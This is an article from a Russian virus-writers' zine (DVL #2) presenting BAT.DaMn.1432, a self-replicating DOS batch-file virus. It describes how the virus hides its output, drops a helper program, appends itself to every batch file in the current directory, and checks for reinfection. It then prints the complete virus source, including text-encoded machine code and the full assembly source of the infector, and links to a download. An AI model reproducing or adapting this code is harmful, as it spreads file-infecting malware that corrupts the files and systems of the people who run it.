D V L # 2

BAT.DaMn.1432
(c) by Duke/SMF & SMT/SMF
Авторы : Duke/SMF & SMT/SMF Имя вируса : BAT.DaMn.1432 Дата создания : 23.10.98 Длина : 1432 байт Тип : файловый BAT-вирус BAT.DaMn - это файловый BAT-файловый вирус, поражающий все файлы в текущем каталоге.
Алгоритм работы вируса:
1. Отключается вывод на экран с помощью CTTY NUL 2. Создается файл $.COM на диске. В него записывается исполнимый код из тела вируса. 3. Проводится перебор батников текущего каталога. Для каждого найденного батника вызывается файл $.COM с параметрами <имя_файла_с_вирусом> <имя_найденного_батника> 4. Файл $.COM проверяет этот батник на повторное заражение: в батнике ищется идентификатор вируса, равный последовательности 0Dh,0Ah,':DaMn'. Если таковая имеется, то найденный файл уже заражен и $.COM прекращает свою работу. Если идентификатор не найден, то в файле с вирусом ищется идентификатор и все символы, начиная с него включительно, копируются в найденный батник. 5. После перебора всех батников удалается файл $.COM и возвращается вывод на экран. Поскольку тело вируса выполняется в ходе его работы всего один раз за запуск, то вирусу не требуется поражать файл в начало или проверять параметры командной строки запущенного батника. Поэтому вирус записывается в самый конец поражаемых файлов. В вирусе имеется лишь одна метка ':DaMn', используемая для контроля на повторное заражение. Поскольку подобные метки встречаются нечасто ;) , то она не должна мешать работе пораженного файла. Внимание! Первыми байтами тела вируса являются байты 0Dh, 0Ah , а не какие либо другие! Для чего это нужно? Встречаются BAT-файлы, последняя строка которых не оканчивается переходом на новую строку. Это создает много проблем вирусописателям и их детищам. При записи вируса в конец такого файла необходимо сперва поставить 0Dh, 0Ah , а лишь затем переносить тело вируса, (эта ошибка встречается в 90% BAT-вирусов, использующих команды TYPE или FIND для размножения. Смотрите также статью dvl2-04.htm) иначе после заражения и пораженный BAT-файл, и вирус потеряют работоспособность. Именно поэтому вирус BAT.DaMn использует в качестве идентификатора строку 0Dh, 0Ah, ':DaMn' и переносит вирус в файл-жертву начиная с этого идентификатора. Если перед строкой ':DaMn' в файле-вирусе не поставить символов 0Dh, 0Ah, то при запуске файл $.COM, не найдя в вирусе идентификатора, завесит машину.
Преимущества вируса:
1. Проверка на повторное заражение. 2. Независимость от каких бы то ни было посторонних файлов (например, утилит FIND, DEBUG, PKZIP или других). 3. Несмотря на то, что часть вируса написана на ASM'е, в теле вируса содержатся лишь текстовые символы. Поэтому никаких проблем с символами 00h-2Fh (в том числе 7h, 10h, 13h). Тело вируса - 100% текст. 4. Не оставляет после себя посторонних файлов. 5. Не поражает файл AUTOEXEC.BAT
Недостатки вируса:
1. Прирост файла более 1400 байт 2. Имеется вставка, написанная на ASM Ниже приводится исходный текст вируса: вируса в виде BAT-файла и исходный текст вставки на ASM'е BAT-файл с вирусом выглядит следующим образом: ===== Cut here ===== :DaMn @ctty nul echo>$ @P@P@P@P@P@P@P@P=-==Da=Mn=Da=Mn=-=XXXXXXXX= echo>>$ [SSX,@P^SX4a,A(@B(@C0@F0@G0@J0@K0@N0@OSX4@(@@(@A= echo>>$ SX,@(@H(@I(@J(@K(@L(@L(@M(@M(@N(@N(@O(@O= echo>>$ SX5CB-@@,@P^SX5BB-@@,@P_= echo>>$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@= echo>>$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@= echo>>$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@= echo>>$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@= echo>>$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@= echo>>$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@= echo>>$ SX4P8@@tkSX4@8@@rWSX2@@F,@,@VP^SX2@@^2@@4@PSX2A@0A@X0A@G= echo>>$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@FSX5@B-@@P@LC echo>>$ NH@@@@EMHANMAO@IEGHMKFD@@IKOOL@@KI@D@@OC echo>>$ JDHMKFDD@IKO@@@AEIKHOL@@E@CCL@LCOCJDNK@@ echo>>$ KDDJKK@@@ALMBAOLKOHA@@KHB@@@HJNHBNCH@EGE@ADGEGOBJNBNHICNGG@ADOBNLF@E echo>>$ @@HKOGDFJLCLB@GOOKDNBNLF@D@@KH@@CMEJLMBAE@KDDHKK@@A@LMBAHNL@HNMHEKKI echo>>$ OOOOKDCOCCMBLMBAE@KDCNLMBACCOFEFJLCL@MGEABJMCM@JCJGE@LJMCMDDFAGE@FJM echo>>$ CMDMFNGD@DENDFNKNDHLLHHNMHKH@BCMKJ@@@@LMBAHKMH@FECKK@@A@KDDHLMBAHNMH echo>>$ HNL@KH@@DBEKCCLICCMBLMBAKIOOOOKDCOCCMBLMBAHKLHCCOFEFJLCL@MGEABJMCM@J echo>>$ CJGE@LJMCMDDFAGE@FJMCMDMFNGD@GENDFNBNDNK@JI@KDDILMBAEH@GNKAOI@KDDILM echo>>$ BA@GKH@BDBCCLICCMBLMBAEJEIBKLJHLL@HNMHKDD@LMBAKDCNLMBAKDDILMBAKH@@DL echo>>$ LMBAEKDDFADMFNBLB@DDGEFKFEB@BFB@ECDMEDB@BOBOB@ECDMDFEMP ren $ $.com for %%b in (*.bat) do if not %%b==AUTOEXEC.BAT $ %0 %%b del $.* ctty con ===== Cut here ===== Исходный текст ассемблерной вставки : ===== Cut here ===== ; Ограничения: ; Исходный файл - не более 64K ; Поражаемый файл - не более 64K ; Свободная DOS память - 128K ; Параметры запуска должны идти через _один_ пробел (!) ; Сигнатура = 0d,0a,':DaMn' .model tiny .code org 100h Start: mov ah,4ah mov bx,100h int 21h ; shrink program segment to 4096 bytes cld mov di,81h mov ax,0020h ; spacebar mov ch,al cmp cs:[di],al jnz sksp inc di sksp: push di repnz scasb ; find a space in command line between params mov word ptr cs:next,di dec di mov byte ptr cs:[di],0 mov si,di inc si m1: lodsb ; trying to find end of second command line parameter cmp al,' ' jg m1 dec si mov byte ptr cs:[si],0 mov ax,3d00h pop dx int 21h ; open source push ax mov ah,48h mov bx,1000h ; get 64K of dos memory for source int 21h mov es,ax mov ds,ax pop bx mov cx,0ffffh mov ah,3fh xor dx,dx int 21h ; read ax bytes push ax ; push file length mov ah,3eh int 21h ; close source xor si,si cmp2: push si ; searching for 0d,0a,':DeMo' lodsb cmp al,0dh jnz erro lodsw cmp ax,0ah+100h*':' jnz erro lodsw cmp ax,'D'+100h*'a' jnz erro lodsw cmp ax,'M'+100h*'n' jz found erro: pop si inc si jmp cmp2 found: mov ax,cs mov ds,ax mov ax,3d02h ; open for read/write mov dx,0000h ; POINTER TO FILENAME next equ $-2 int 21h ; open target file mov bx,ax push es push bx mov bx,1000h mov ah,48h int 21h ; Get 64K for target file mov ds,ax mov es,ax mov ax,4200h pop bx xor cx,cx xor dx,dx int 21h ; 'reset' target file mov cx,0ffffh mov ah,3fh xor dx,dx int 21h ; read target file mov cx,ax ; length xor si,si cm2: push si ; searching for 0d,0a,':DeMo' lodsb cmp al,0dh jnz error lodsw cmp ax,0ah+100h*':' jnz error lodsw cmp ax,'D'+100h*'a' jnz error lodsw cmp ax,'M'+100h*'n' jz found1 error: pop si inc si loop cm2 jmp notfound found1: mov ah,49h int 21h ; free target buffer pop ax pop es jmp exi notfound: mov ah,49h int 21h ; free target buffer pop es mov ax,4202h xor cx,cx xor dx,dx int 21h ; seek from EOF pop dx ; signature location pop cx ; pop file length sub cx,dx ; calc. length mov ax,es mov ds,ax mov ah,40h int 21h ; write to end of target file mov ah,3eh int 21h ; close target exi: mov ah,49h int 21h ; free memory of target exit: mov ax,4c00h int 21h ; exit db '[DaMn, Duke & SMT // SMF]' end Start ===== Cut here =====

Здесь вы можете скачать:
Вирус BAT.DaMn, исходный текст его ассемблерной вставки и утилиту COM2TXT

Back Вернуться на страницу оглавления